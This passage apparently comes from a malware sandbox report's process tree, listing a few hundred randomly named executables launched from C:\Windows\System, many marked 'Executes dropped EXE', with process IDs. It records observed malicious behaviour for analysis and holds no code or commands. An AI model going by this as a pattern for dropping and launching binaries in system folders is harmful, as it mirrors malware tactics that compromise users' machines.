- C:\Windows\System\yDvLOUx.exe
  C:\Windows\System\yDvLOUx.exe
  2⤵
  - Executes dropped EXE
  PID:1688
- C:\Windows\System\lLiUEdn.exe
  C:\Windows\System\lLiUEdn.exe
  2⤵
  - Executes dropped EXE
  PID:2952
- C:\Windows\System\rkKUics.exe
  C:\Windows\System\rkKUics.exe
  2⤵
  - Executes dropped EXE
  PID:4256
- C:\Windows\System\lfFOOXI.exe
  C:\Windows\System\lfFOOXI.exe
  2⤵
  - Executes dropped EXE
  PID:556
- C:\Windows\System\dxzZxwm.exe
  C:\Windows\System\dxzZxwm.exe
  2⤵
  - Executes dropped EXE
  PID:4760
- C:\Windows\System\OQjFYYA.exe
  C:\Windows\System\OQjFYYA.exe
  2⤵
  - Executes dropped EXE
  PID:2324
- C:\Windows\System\qSgKSZB.exe
  C:\Windows\System\qSgKSZB.exe
  2⤵
  - Executes dropped EXE
  PID:5116
- C:\Windows\System\LxIAXUt.exe
  C:\Windows\System\LxIAXUt.exe
  2⤵
  - Executes dropped EXE
  PID:2336
- C:\Windows\System\vYvkBnV.exe
  C:\Windows\System\vYvkBnV.exe
  2⤵
  - Executes dropped EXE
  PID:3224
- C:\Windows\System\XIZhjmv.exe
  C:\Windows\System\XIZhjmv.exe
  2⤵
  - Executes dropped EXE
  PID:2236
- C:\Windows\System\EpynQQk.exe
  C:\Windows\System\EpynQQk.exe
  2⤵
  - Executes dropped EXE
  PID:1476
- C:\Windows\System\kdtorwP.exe
  C:\Windows\System\kdtorwP.exe
  2⤵
  - Executes dropped EXE
  PID:4404
- C:\Windows\System\OEZBmfC.exe
  C:\Windows\System\OEZBmfC.exe
  2⤵
  - Executes dropped EXE
  PID:448
- C:\Windows\System\OBazZJe.exe
  C:\Windows\System\OBazZJe.exe
  2⤵
  - Executes dropped EXE
  PID:3020
- C:\Windows\System\RguFCXe.exe
  C:\Windows\System\RguFCXe.exe
  2⤵
  - Executes dropped EXE
  PID:4892
- C:\Windows\System\xXBGkNM.exe
  C:\Windows\System\xXBGkNM.exe
  2⤵
  - Executes dropped EXE
  PID:4188
- C:\Windows\System\AnpvVtl.exe
  C:\Windows\System\AnpvVtl.exe
  2⤵
  - Executes dropped EXE
  PID:4496
- C:\Windows\System\SxpmHSj.exe
  C:\Windows\System\SxpmHSj.exe
  2⤵
  - Executes dropped EXE
  PID:3604
- C:\Windows\System\LIzxrwT.exe
  C:\Windows\System\LIzxrwT.exe
  2⤵
  - Executes dropped EXE
  PID:4924
- C:\Windows\System\qUnfNBk.exe
  C:\Windows\System\qUnfNBk.exe
  2⤵
  - Executes dropped EXE
  PID:724
- C:\Windows\System\mAlTNRY.exe
  C:\Windows\System\mAlTNRY.exe
  2⤵
  - Executes dropped EXE
  PID:2364
- C:\Windows\System\XBnJlrp.exe
  C:\Windows\System\XBnJlrp.exe
  2⤵
  - Executes dropped EXE
  PID:2692
- C:\Windows\System\nyCiMuP.exe
  C:\Windows\System\nyCiMuP.exe
  2⤵
  - Executes dropped EXE
  PID:2104
- C:\Windows\System\ONwOVOB.exe
  C:\Windows\System\ONwOVOB.exe
  2⤵
  - Executes dropped EXE
  PID:4004
- C:\Windows\System\PFAzhgg.exe
  C:\Windows\System\PFAzhgg.exe
  2⤵
  - Executes dropped EXE
  PID:4920
- C:\Windows\System\meUKSfV.exe
  C:\Windows\System\meUKSfV.exe
  2⤵
  - Executes dropped EXE
  PID:1804
- C:\Windows\System\oaYoyHq.exe
  C:\Windows\System\oaYoyHq.exe
  2⤵
  - Executes dropped EXE
  PID:4884
- C:\Windows\System\MtLrGFw.exe
  C:\Windows\System\MtLrGFw.exe
  2⤵
  - Executes dropped EXE
  PID:1080
- C:\Windows\System\cyHSUBZ.exe
  C:\Windows\System\cyHSUBZ.exe
  2⤵
  - Executes dropped EXE
  PID:4860
- C:\Windows\System\TjIlQZu.exe
  C:\Windows\System\TjIlQZu.exe
  2⤵
  - Executes dropped EXE
  PID:3120
- C:\Windows\System\xnaQTeP.exe
  C:\Windows\System\xnaQTeP.exe
  2⤵
  - Executes dropped EXE
  PID:4212
- C:\Windows\System\wgRwDqQ.exe
  C:\Windows\System\wgRwDqQ.exe
  2⤵
  - Executes dropped EXE
  PID:4540
- C:\Windows\System\hOcmvrH.exe
  C:\Windows\System\hOcmvrH.exe
  2⤵
  - Executes dropped EXE
  PID:2896
- C:\Windows\System\scudfLt.exe
  C:\Windows\System\scudfLt.exe
  2⤵
  - Executes dropped EXE
  PID:216
- C:\Windows\System\uYmKwjt.exe
  C:\Windows\System\uYmKwjt.exe
  2⤵
  - Executes dropped EXE
  PID:4816
- C:\Windows\System\SASuvii.exe
  C:\Windows\System\SASuvii.exe
  2⤵
  - Executes dropped EXE
  PID:3916
- C:\Windows\System\bxkdLXa.exe
  C:\Windows\System\bxkdLXa.exe
  2⤵
  - Executes dropped EXE
  PID:4652
- C:\Windows\System\QsQmruP.exe
  C:\Windows\System\QsQmruP.exe
  2⤵
  - Executes dropped EXE
  PID:4284
- C:\Windows\System\czADalW.exe
  C:\Windows\System\czADalW.exe
  2⤵
  - Executes dropped EXE
  PID:1528
- C:\Windows\System\banwykY.exe
  C:\Windows\System\banwykY.exe
  2⤵
  - Executes dropped EXE
  PID:1852
- C:\Windows\System\SObpUsg.exe
  C:\Windows\System\SObpUsg.exe
  2⤵
  - Executes dropped EXE
  PID:4100
- C:\Windows\System\sLyxLTm.exe
  C:\Windows\System\sLyxLTm.exe
  2⤵
  - Executes dropped EXE
  PID:3812
- C:\Windows\System\CVnLQRe.exe
  C:\Windows\System\CVnLQRe.exe
  2⤵
  - Executes dropped EXE
  PID:2084
- C:\Windows\System\iXvbaCa.exe
  C:\Windows\System\iXvbaCa.exe
  2⤵
  - Executes dropped EXE
  PID:4444
- C:\Windows\System\GFtdcPa.exe
  C:\Windows\System\GFtdcPa.exe
  2⤵
  - Executes dropped EXE
  PID:3296
- C:\Windows\System\IqOpSft.exe
  C:\Windows\System\IqOpSft.exe
  2⤵
  - Executes dropped EXE
  PID:5096
- C:\Windows\System\lePvzXu.exe
  C:\Windows\System\lePvzXu.exe
  2⤵
  - Executes dropped EXE
  PID:1904
- C:\Windows\System\hdyOKfZ.exe
  C:\Windows\System\hdyOKfZ.exe
  2⤵
  - Executes dropped EXE
  PID:5140
- C:\Windows\System\PrShKQc.exe
  C:\Windows\System\PrShKQc.exe
  2⤵
  - Executes dropped EXE
  PID:5172
- C:\Windows\System\eCSzZSH.exe
  C:\Windows\System\eCSzZSH.exe
  2⤵
  - Executes dropped EXE
  PID:5196
- C:\Windows\System\HJmYJSg.exe
  C:\Windows\System\HJmYJSg.exe
  2⤵
  - Executes dropped EXE
  PID:5224
- C:\Windows\System\NclkbEB.exe
  C:\Windows\System\NclkbEB.exe
  2⤵
  - Executes dropped EXE
  PID:5252
- C:\Windows\System\ENGQtDu.exe
  C:\Windows\System\ENGQtDu.exe
  2⤵
  - Executes dropped EXE
  PID:5280
- C:\Windows\System\qHsKsIB.exe
  C:\Windows\System\qHsKsIB.exe
  2⤵
  - Executes dropped EXE
  PID:5308
- C:\Windows\System\qngdZom.exe
  C:\Windows\System\qngdZom.exe
  2⤵
  - Executes dropped EXE
  PID:5336
- C:\Windows\System\miAWjoz.exe
  C:\Windows\System\miAWjoz.exe
  2⤵
  - Executes dropped EXE
  PID:5364
- C:\Windows\System\dYuFrFo.exe
  C:\Windows\System\dYuFrFo.exe
  2⤵
  - Executes dropped EXE
  PID:5392
- C:\Windows\System\uSVElnO.exe
  C:\Windows\System\uSVElnO.exe
  2⤵
  - Executes dropped EXE
  PID:5420
- C:\Windows\System\lRsSJWO.exe
  C:\Windows\System\lRsSJWO.exe
  2⤵
  - Executes dropped EXE
  PID:5452
- C:\Windows\System\WVwrMkf.exe
  C:\Windows\System\WVwrMkf.exe
  2⤵
  - Executes dropped EXE
  PID:5476
- C:\Windows\System\jSIKZjX.exe
  C:\Windows\System\jSIKZjX.exe
  2⤵
  - Executes dropped EXE
  PID:5504
- C:\Windows\System\iEFNpgv.exe
  C:\Windows\System\iEFNpgv.exe
  2⤵
  - Executes dropped EXE
  PID:5532
- C:\Windows\System\SKkeXBR.exe
  C:\Windows\System\SKkeXBR.exe
  2⤵
  - Executes dropped EXE
  PID:5560
- C:\Windows\System\AOmTNXn.exe
  C:\Windows\System\AOmTNXn.exe
  2⤵
  - Executes dropped EXE
  PID:5588
- C:\Windows\System\btuZGyY.exe
  C:\Windows\System\btuZGyY.exe
  2⤵
  PID:5616
- C:\Windows\System\YBFDeSI.exe
  C:\Windows\System\YBFDeSI.exe
  2⤵
  PID:5644
- C:\Windows\System\aQOhuDF.exe
  C:\Windows\System\aQOhuDF.exe
  2⤵
  PID:5672
- C:\Windows\System\OdgOdEh.exe
  C:\Windows\System\OdgOdEh.exe
  2⤵
  PID:5700
- C:\Windows\System\GxXhPiH.exe
  C:\Windows\System\GxXhPiH.exe
  2⤵
  PID:5724
- C:\Windows\System\YBbkcPp.exe
  C:\Windows\System\YBbkcPp.exe
  2⤵
  PID:5756
- C:\Windows\System\PPdbboV.exe
  C:\Windows\System\PPdbboV.exe
  2⤵
  PID:5784
- C:\Windows\System\SNMMDWP.exe
  C:\Windows\System\SNMMDWP.exe
  2⤵
  PID:5812
- C:\Windows\System\pxxlyqc.exe
  C:\Windows\System\pxxlyqc.exe
  2⤵
  PID:5852
- C:\Windows\System\EscAAaR.exe
  C:\Windows\System\EscAAaR.exe
  2⤵
  PID:5880
- C:\Windows\System\AAeYfNC.exe
  C:\Windows\System\AAeYfNC.exe
  2⤵
  PID:5908
- C:\Windows\System\eQmVajo.exe
  C:\Windows\System\eQmVajo.exe
  2⤵
  PID:5924
- C:\Windows\System\yqIKqtP.exe
  C:\Windows\System\yqIKqtP.exe
  2⤵
  PID:5952
- C:\Windows\System\RkDNNpJ.exe
  C:\Windows\System\RkDNNpJ.exe
  2⤵
  PID:5984
- C:\Windows\System\BGAsudI.exe
  C:\Windows\System\BGAsudI.exe
  2⤵
  PID:6012
- C:\Windows\System\zELFFCx.exe
  C:\Windows\System\zELFFCx.exe
  2⤵
  PID:6036
- C:\Windows\System\IuqDDkl.exe
  C:\Windows\System\IuqDDkl.exe
  2⤵
  PID:6064
- C:\Windows\System\YZBTJlH.exe
  C:\Windows\System\YZBTJlH.exe
  2⤵
  PID:6092
- C:\Windows\System\XnrWBDx.exe
  C:\Windows\System\XnrWBDx.exe
  2⤵
  PID:6124
- C:\Windows\System\peCTIhU.exe
  C:\Windows\System\peCTIhU.exe
  2⤵
  PID:4888
- C:\Windows\System\AkMkukz.exe
  C:\Windows\System\AkMkukz.exe
  2⤵
  PID:2576
- C:\Windows\System\qHhCKQW.exe
  C:\Windows\System\qHhCKQW.exe
  2⤵
  PID:1964
- C:\Windows\System\YJvupDB.exe
  C:\Windows\System\YJvupDB.exe
  2⤵
  PID:2040
- C:\Windows\System\YqhYWqG.exe
  C:\Windows\System\YqhYWqG.exe
  2⤵
  PID:4340
- C:\Windows\System\FvdTdVF.exe
  C:\Windows\System\FvdTdVF.exe
  2⤵
  PID:5152
- C:\Windows\System\WEVZyPr.exe
  C:\Windows\System\WEVZyPr.exe
  2⤵
  PID:5212
- C:\Windows\System\zOxtDDV.exe
  C:\Windows\System\zOxtDDV.exe
  2⤵
  PID:5272
- C:\Windows\System\necoETi.exe
  C:\Windows\System\necoETi.exe
  2⤵
  PID:5328
- C:\Windows\System\CNaZtdN.exe
  C:\Windows\System\CNaZtdN.exe
  2⤵
  PID:5404
- C:\Windows\System\zwBhfnb.exe
  C:\Windows\System\zwBhfnb.exe
  2⤵
  PID:5468
- C:\Windows\System\FpKhJZe.exe
  C:\Windows\System\FpKhJZe.exe
  2⤵
  PID:5524
- C:\Windows\System\TEOpFgL.exe
  C:\Windows\System\TEOpFgL.exe
  2⤵
  PID:5600
- C:\Windows\System\PXJFeZJ.exe
  C:\Windows\System\PXJFeZJ.exe
  2⤵
  PID:5656
- C:\Windows\System\qHcrQGW.exe
  C:\Windows\System\qHcrQGW.exe
  2⤵
  PID:5720
- C:\Windows\System\AkWFzAX.exe
  C:\Windows\System\AkWFzAX.exe
  2⤵
  PID:5776
- C:\Windows\System\JWHQEHu.exe
  C:\Windows\System\JWHQEHu.exe
  2⤵
  PID:5836
- C:\Windows\System\QoBFqJN.exe
  C:\Windows\System\QoBFqJN.exe
  2⤵
  PID:5900
- C:\Windows\System\EtSPpCz.exe
  C:\Windows\System\EtSPpCz.exe
  2⤵
  PID:5968
- C:\Windows\System\MpKUsWr.exe
  C:\Windows\System\MpKUsWr.exe
  2⤵
  PID:6028
- C:\Windows\System\BSXvJvy.exe
  C:\Windows\System\BSXvJvy.exe
  2⤵
  PID:6080
- C:\Windows\System\TBBuyWg.exe
  C:\Windows\System\TBBuyWg.exe
  2⤵
  PID:6136
- C:\Windows\System\RVfZeru.exe
  C:\Windows\System\RVfZeru.exe
  2⤵
  PID:2764
- C:\Windows\System\aOgqFRu.exe
  C:\Windows\System\aOgqFRu.exe
  2⤵
  PID:2924
- C:\Windows\System\MgpcegE.exe
  C:\Windows\System\MgpcegE.exe
  2⤵
  PID:5192
- C:\Windows\System\kMiQEDr.exe
  C:\Windows\System\kMiQEDr.exe
  2⤵
  PID:5356
- C:\Windows\System\PznquNm.exe
  C:\Windows\System\PznquNm.exe
  2⤵
  PID:5496
- C:\Windows\System\qUcABZH.exe
  C:\Windows\System\qUcABZH.exe
  2⤵
  PID:5632
- C:\Windows\System\vQZylbM.exe
  C:\Windows\System\vQZylbM.exe
  2⤵
  PID:4024
- C:\Windows\System\lhpLADL.exe
  C:\Windows\System\lhpLADL.exe
  2⤵
  PID:5872
- C:\Windows\System\ayVLfez.exe
  C:\Windows\System\ayVLfez.exe
  2⤵
  PID:6160
- C:\Windows\System\mIIHfnG.exe
  C:\Windows\System\mIIHfnG.exe
  2⤵
  PID:6188
- C:\Windows\System\pZKKFAU.exe
  C:\Windows\System\pZKKFAU.exe
  2⤵
  PID:6220
- C:\Windows\System\usLicqv.exe
  C:\Windows\System\usLicqv.exe
  2⤵
  PID:6244
- C:\Windows\System\aMwAARl.exe
  C:\Windows\System\aMwAARl.exe
  2⤵
  PID:6272
- C:\Windows\System\PLVZqQw.exe
  C:\Windows\System\PLVZqQw.exe
  2⤵
  PID:6300
- C:\Windows\System\uvEbcgo.exe
  C:\Windows\System\uvEbcgo.exe
  2⤵
  PID:6332
- C:\Windows\System\fobJcJh.exe
  C:\Windows\System\fobJcJh.exe
  2⤵
  PID:6360
- C:\Windows\System\iGjDWKe.exe
  C:\Windows\System\iGjDWKe.exe
  2⤵
  PID:6384
- C:\Windows\System\IxnMzRK.exe
  C:\Windows\System\IxnMzRK.exe
  2⤵
  PID:6412
- C:\Windows\System\gwdXbsC.exe
  C:\Windows\System\gwdXbsC.exe
  2⤵
  PID:6440
- C:\Windows\System\ICmreNv.exe
  C:\Windows\System\ICmreNv.exe
  2⤵
  PID:6468
- C:\Windows\System\GalJMZF.exe
  C:\Windows\System\GalJMZF.exe
  2⤵
  PID:6500
- C:\Windows\System\HYGUMJG.exe
  C:\Windows\System\HYGUMJG.exe
  2⤵
  PID:6528
- C:\Windows\System\rNhkoIM.exe
  C:\Windows\System\rNhkoIM.exe
  2⤵
  PID:6552
- C:\Windows\System\mFZeIoG.exe
  C:\Windows\System\mFZeIoG.exe
  2⤵
  PID:6580
- C:\Windows\System\JhLACGZ.exe
  C:\Windows\System\JhLACGZ.exe
  2⤵
  PID:6608
- C:\Windows\System\zRlfYWX.exe
  C:\Windows\System\zRlfYWX.exe
  2⤵
  PID:6636
- C:\Windows\System\KLLaRKY.exe
  C:\Windows\System\KLLaRKY.exe
  2⤵
  PID:6664
- C:\Windows\System\TulOfbU.exe
  C:\Windows\System\TulOfbU.exe
  2⤵
  PID:6692
- C:\Windows\System\OROzsog.exe
  C:\Windows\System\OROzsog.exe
  2⤵
  PID:6720
- C:\Windows\System\LOzYprH.exe
  C:\Windows\System\LOzYprH.exe
  2⤵
  PID:6748
- C:\Windows\System\PZPdOOF.exe
  C:\Windows\System\PZPdOOF.exe
  2⤵
  PID:6776
- C:\Windows\System\qhjSUuF.exe
  C:\Windows\System\qhjSUuF.exe
  2⤵
  PID:6804
- C:\Windows\System\hcedZRj.exe
  C:\Windows\System\hcedZRj.exe
  2⤵
  PID:6832
- C:\Windows\System\ZLVktgo.exe
  C:\Windows\System\ZLVktgo.exe
  2⤵
  PID:6860
- C:\Windows\System\zCzSSsf.exe
  C:\Windows\System\zCzSSsf.exe
  2⤵
  PID:6888
- C:\Windows\System\klofNuU.exe
  C:\Windows\System\klofNuU.exe
  2⤵
  PID:6916
- C:\Windows\System\MaNCdef.exe
  C:\Windows\System\MaNCdef.exe
  2⤵
  PID:6944
- C:\Windows\System\UnriwQc.exe
  C:\Windows\System\UnriwQc.exe
  2⤵
  PID:6972
- C:\Windows\System\JJbWeBm.exe
  C:\Windows\System\JJbWeBm.exe
  2⤵
  PID:7000
- C:\Windows\System\bPDCzMa.exe
  C:\Windows\System\bPDCzMa.exe
  2⤵
  PID:7028
- C:\Windows\System\jdDfvSP.exe
  C:\Windows\System\jdDfvSP.exe
  2⤵
  PID:7056
- C:\Windows\System\sLUczdn.exe
  C:\Windows\System\sLUczdn.exe
  2⤵
  PID:7088
- C:\Windows\System\DmdjxJt.exe
  C:\Windows\System\DmdjxJt.exe
  2⤵
  PID:7116
- C:\Windows\System\PNJTCxP.exe
  C:\Windows\System\PNJTCxP.exe
  2⤵
  PID:7144
- C:\Windows\System\LvLyNZF.exe
  C:\Windows\System\LvLyNZF.exe
  2⤵
  PID:5944
- C:\Windows\System\xGYpGVo.exe
  C:\Windows\System\xGYpGVo.exe
  2⤵
  PID:6052
- C:\Windows\System\GEEkdkH.exe
  C:\Windows\System\GEEkdkH.exe
  2⤵
  PID:2696
- C:\Windows\System\vwarvfc.exe
  C:\Windows\System\vwarvfc.exe
  2⤵
  PID:5124
- C:\Windows\System\TbENYwS.exe
  C:\Windows\System\TbENYwS.exe
  2⤵
  PID:5436
- C:\Windows\System\EkpEoVj.exe
  C:\Windows\System\EkpEoVj.exe
  2⤵
  PID:5744
- C:\Windows\System\ZagYISi.exe
  C:\Windows\System\ZagYISi.exe
  2⤵
  PID:6232
- C:\Windows\System\KdPJYMx.exe
  C:\Windows\System\KdPJYMx.exe
  2⤵
  PID:6264
- C:\Windows\System\SbZdeWq.exe
  C:\Windows\System\SbZdeWq.exe
  2⤵
  PID:6324
- C:\Windows\System\cvPxlBv.exe
  C:\Windows\System\cvPxlBv.exe
  2⤵
  PID:6372
- C:\Windows\System\PZGYNQC.exe
  C:\Windows\System\PZGYNQC.exe
  2⤵
  PID:6404
- C:\Windows\System\gXqkCYK.exe
  C:\Windows\System\gXqkCYK.exe
  2⤵
  PID:6572
- C:\Windows\System\tfFXkKW.exe
  C:\Windows\System\tfFXkKW.exe
  2⤵
  PID:6684
- C:\Windows\System\nBgCZMw.exe
  C:\Windows\System\nBgCZMw.exe
  2⤵
  PID:6736
- C:\Windows\System\mHoFncZ.exe
  C:\Windows\System\mHoFncZ.exe
  2⤵
  PID:6768
- C:\Windows\System\PjbgwJt.exe
  C:\Windows\System\PjbgwJt.exe
  2⤵
  PID:6800
- C:\Windows\System\PIgzkGE.exe
  C:\Windows\System\PIgzkGE.exe
  2⤵
  PID:1208
- C:\Windows\System\zWoozUi.exe
  C:\Windows\System\zWoozUi.exe
  2⤵
  PID:4140
- C:\Windows\System\gCBLkYA.exe
  C:\Windows\System\gCBLkYA.exe
  2⤵
  PID:7016
- C:\Windows\System\wdXzhMG.exe
  C:\Windows\System\wdXzhMG.exe
  2⤵
  PID:7072
- C:\Windows\System\jUdzlNH.exe
  C:\Windows\System\jUdzlNH.exe
  2⤵
  PID:7100
- C:\Windows\System\EYkihwL.exe
  C:\Windows\System\EYkihwL.exe
  2⤵
  PID:2444
- C:\Windows\System\VXChPnA.exe
  C:\Windows\System\VXChPnA.exe
  2⤵
  PID:2752
- C:\Windows\System\ArJMGKk.exe
  C:\Windows\System\ArJMGKk.exe
  2⤵
  PID:5264
- C:\Windows\System\pmdrHAB.exe
  C:\Windows\System\pmdrHAB.exe
  2⤵
  PID:1556
- C:\Windows\System\bLpkdQr.exe
  C:\Windows\System\bLpkdQr.exe
  2⤵
  PID:392
- C:\Windows\System\GLqQXOP.exe
  C:\Windows\System\GLqQXOP.exe
  2⤵
  PID:4080
- C:\Windows\System\laEPqHU.exe
  C:\Windows\System\laEPqHU.exe
  2⤵
  PID:6156
- C:\Windows\System\InqWcBH.exe
  C:\Windows\System\InqWcBH.exe
  2⤵
  PID:4552
- C:\Windows\System\FohBoud.exe
  C:\Windows\System\FohBoud.exe
  2⤵
  PID:2304
- C:\Windows\System\xMgvcFF.exe
  C:\Windows\System\xMgvcFF.exe
  2⤵
  PID:208
- C:\Windows\System\qkxeqrZ.exe
  C:\Windows\System\qkxeqrZ.exe
  2⤵
  PID:6212
- C:\Windows\System\xUQyFfr.exe
  C:\Windows\System\xUQyFfr.exe
  2⤵
  PID:4936
- C:\Windows\System\jKSYNTp.exe
  C:\Windows\System\jKSYNTp.exe
  2⤵
  PID:6352
- C:\Windows\System\ctHKjYt.exe
  C:\Windows\System\ctHKjYt.exe
  2⤵
  PID:6744
- C:\Windows\System\ZrwNuxZ.exe
  C:\Windows\System\ZrwNuxZ.exe
  2⤵
  PID:3564
- C:\Windows\System\YTvEKbm.exe
  C:\Windows\System\YTvEKbm.exe
  2⤵
  PID:6820
- C:\Windows\System\lUwnBiL.exe
  C:\Windows\System\lUwnBiL.exe
  2⤵
  PID:6936
- C:\Windows\System\OUpfHwP.exe
  C:\Windows\System\OUpfHwP.exe
  2⤵
  PID:7080
- C:\Windows\System\qyhWVJT.exe
  C:\Windows\System\qyhWVJT.exe
  2⤵
  PID:1648
- C:\Windows\System\xnuRgWh.exe
  C:\Windows\System\xnuRgWh.exe
  2⤵
  PID:2548
- C:\Windows\System\AdtbutC.exe
  C:\Windows\System\AdtbutC.exe
  2⤵
  PID:2248
- C:\Windows\System\IdhnyPJ.exe
  C:\Windows\System\IdhnyPJ.exe
  2⤵
  PID:4912
- C:\Windows\System\EJhrmrN.exe
  C:\Windows\System\EJhrmrN.exe
  2⤵
  PID:6400
- C:\Windows\System\DZeLyAC.exe
  C:\Windows\System\DZeLyAC.exe
  2⤵
  PID:4916
- C:\Windows\System\JyGCaXw.exe
  C:\Windows\System\JyGCaXw.exe
  2⤵
  PID:1096
- C:\Windows\System\tjvimIB.exe
  C:\Windows\System\tjvimIB.exe
  2⤵
  PID:7044
- C:\Windows\System\SvxVfHq.exe
  C:\Windows\System\SvxVfHq.exe
  2⤵
  PID:3712
- C:\Windows\System\HvyBqhB.exe
  C:\Windows\System\HvyBqhB.exe
  2⤵
  PID:6484
- C:\Windows\System\FUZYhjj.exe
  C:\Windows\System\FUZYhjj.exe
  2⤵
  PID:1252
- C:\Windows\System\sOUkkZT.exe
  C:\Windows\System\sOUkkZT.exe
  2⤵
  PID:6548
- C:\Windows\System\ufNewGY.exe
  C:\Windows\System\ufNewGY.exe
  2⤵
  PID:7176
- C:\Windows\System\sGiHtDF.exe
  C:\Windows\System\sGiHtDF.exe
  2⤵
  PID:7196
- C:\Windows\System\TPNBHaC.exe
  C:\Windows\System\TPNBHaC.exe
  2⤵
  PID:7228
- C:\Windows\System\sTVHgJL.exe
  C:\Windows\System\sTVHgJL.exe
  2⤵
  PID:7244
- C:\Windows\System\mwCvbye.exe
  C:\Windows\System\mwCvbye.exe
  2⤵
  PID:7268
- C:\Windows\System\FPGeabz.exe
  C:\Windows\System\FPGeabz.exe
  2⤵
  PID:7288
- C:\Windows\System\jOOcyXr.exe
  C:\Windows\System\jOOcyXr.exe
  2⤵
  PID:7312
- C:\Windows\System\diKlGMX.exe
  C:\Windows\System\diKlGMX.exe
  2⤵
  PID:7332
- C:\Windows\System\FCkMgYW.exe
  C:\Windows\System\FCkMgYW.exe
  2⤵
  PID:7352
- C:\Windows\System\LPfwHOz.exe
  C:\Windows\System\LPfwHOz.exe
  2⤵
  PID:7368
- C:\Windows\System\GzbQjKq.exe
  C:\Windows\System\GzbQjKq.exe
  2⤵
  PID:7448
- C:\Windows\System\oopKKud.exe
  C:\Windows\System\oopKKud.exe
  2⤵
  PID:7464
- C:\Windows\System\vrBPeyy.exe
  C:\Windows\System\vrBPeyy.exe
  2⤵
  PID:7488
- C:\Windows\System\gbQCdfX.exe
  C:\Windows\System\gbQCdfX.exe
  2⤵
  PID:7532
- C:\Windows\System\EOhhxzS.exe
  C:\Windows\System\EOhhxzS.exe
  2⤵
  PID:7548
- C:\Windows\System\mmlpIUd.exe
  C:\Windows\System\mmlpIUd.exe
  2⤵
  PID:7576
- C:\Windows\System\IoTKuWN.exe
  C:\Windows\System\IoTKuWN.exe
  2⤵
  PID:7604
- C:\Windows\System\dClHiJA.exe
  C:\Windows\System\dClHiJA.exe
  2⤵
  PID:7624
- C:\Windows\System\RynhTtV.exe
  C:\Windows\System\RynhTtV.exe
  2⤵
  PID:7672
- C:\Windows\System\CYRDJJg.exe
  C:\Windows\System\CYRDJJg.exe
  2⤵
  PID:7692
- C:\Windows\System\WOKDMNS.exe
  C:\Windows\System\WOKDMNS.exe
  2⤵
  PID:7712
- C:\Windows\System\tWahPNf.exe
  C:\Windows\System\tWahPNf.exe
  2⤵
  PID:7732
- C:\Windows\System\OeslNdJ.exe
  C:\Windows\System\OeslNdJ.exe
  2⤵
  PID:7756
- C:\Windows\System\EnUQlGp.exe
  C:\Windows\System\EnUQlGp.exe
  2⤵
  PID:7772
- C:\Windows\System\keUejLw.exe
  C:\Windows\System\keUejLw.exe
  2⤵
  PID:7804
- C:\Windows\System\eTQgUWk.exe
  C:\Windows\System\eTQgUWk.exe
  2⤵
  PID:7824
- C:\Windows\System\kbwYjGi.exe
  C:\Windows\System\kbwYjGi.exe
  2⤵
  PID:7852
- C:\Windows\System\TaunLPB.exe
  C:\Windows\System\TaunLPB.exe
  2⤵
  PID:7912
- C:\Windows\System\mzcThEc.exe
  C:\Windows\System\mzcThEc.exe
  2⤵
  PID:7932
- C:\Windows\System\amevgvk.exe
  C:\Windows\System\amevgvk.exe
  2⤵
  PID:7956
- C:\Windows\System\pRCoPSP.exe
  C:\Windows\System\pRCoPSP.exe
  2⤵
  PID:7980
- C:\Windows\System\EgAZelb.exe
  C:\Windows\System\EgAZelb.exe
  2⤵
  PID:7996
- C:\Windows\System\ERJnxiP.exe
  C:\Windows\System\ERJnxiP.exe
  2⤵
  PID:8020
- C:\Windows\System\HYKeGSv.exe
  C:\Windows\System\HYKeGSv.exe
  2⤵
  PID:8040
- C:\Windows\System\PmJcsBz.exe
  C:\Windows\System\PmJcsBz.exe
  2⤵
  PID:8060
- C:\Windows\System\EdsJZei.exe
  C:\Windows\System\EdsJZei.exe
  2⤵
  PID:8084
- C:\Windows\System\dWDDoPJ.exe
  C:\Windows\System\dWDDoPJ.exe
  2⤵
  PID:8152
- C:\Windows\System\yIWsEIS.exe
  C:\Windows\System\yIWsEIS.exe
  2⤵
  PID:8180
- C:\Windows\System\zSuAmwk.exe
  C:\Windows\System\zSuAmwk.exe
  2⤵
  PID:7240
- C:\Windows\System\LHlwpbe.exe
  C:\Windows\System\LHlwpbe.exe
  2⤵
  PID:7260
- C:\Windows\System\NtkYNLT.exe
  C:\Windows\System\NtkYNLT.exe
  2⤵
  PID:7344
- C:\Windows\System\ushFkOr.exe
  C:\Windows\System\ushFkOr.exe
  2⤵
  PID:7432
- C:\Windows\System\upPfcAP.exe
  C:\Windows\System\upPfcAP.exe
  2⤵
  PID:7520
- C:\Windows\System\vqtIQmn.exe
  C:\Windows\System\vqtIQmn.exe
  2⤵
  PID:7616
- C:\Windows\System\DchPLyj.exe
  C:\Windows\System\DchPLyj.exe
  2⤵
  PID:7780
- C:\Windows\System\gTYYjNk.exe
  C:\Windows\System\gTYYjNk.exe
  2⤵
  PID:7820
- C:\Windows\System\CbDrAkk.exe
  C:\Windows\System\CbDrAkk.exe
  2⤵
  PID:7724
- C:\Windows\System\CnbaCaP.exe
  C:\Windows\System\CnbaCaP.exe
  2⤵
  PID:7884
- C:\Windows\System\ZItIhuv.exe
  C:\Windows\System\ZItIhuv.exe
  2⤵
  PID:7924
- C:\Windows\System\iJxLNmP.exe
  C:\Windows\System\iJxLNmP.exe
  2⤵
  PID:8032
- C:\Windows\System\btjgmqL.exe
  C:\Windows\System\btjgmqL.exe
  2⤵
  PID:8068
- C:\Windows\System\GIaqlSu.exe
  C:\Windows\System\GIaqlSu.exe
  2⤵
  PID:8176
- C:\Windows\System\JTzzQYI.exe
  C:\Windows\System\JTzzQYI.exe
  2⤵
  PID:8148
- C:\Windows\System\zXqECjQ.exe
  C:\Windows\System\zXqECjQ.exe
  2⤵
  PID:7340
- C:\Windows\System\QIgceeM.exe
  C:\Windows\System\QIgceeM.exe
  2⤵
  PID:7396
- C:\Windows\System\ZdIMbFq.exe
  C:\Windows\System\ZdIMbFq.exe
  2⤵
  PID:7456
- C:\Windows\System\eOUfqvK.exe
  C:\Windows\System\eOUfqvK.exe
  2⤵
  PID:8144
- C:\Windows\System\mdQPZlr.exe
  C:\Windows\System\mdQPZlr.exe
  2⤵
  PID:7988
- C:\Windows\System\UIxjLiO.exe
  C:\Windows\System\UIxjLiO.exe
  2⤵
  PID:8052
- C:\Windows\System\UGWFFug.exe
  C:\Windows\System\UGWFFug.exe
  2⤵
  PID:7668
- C:\Windows\System\rOyiCRI.exe
  C:\Windows\System\rOyiCRI.exe
  2⤵
  PID:7556
- C:\Windows\System\TxSmYeY.exe
  C:\Windows\System\TxSmYeY.exe
  2⤵
  PID:8076
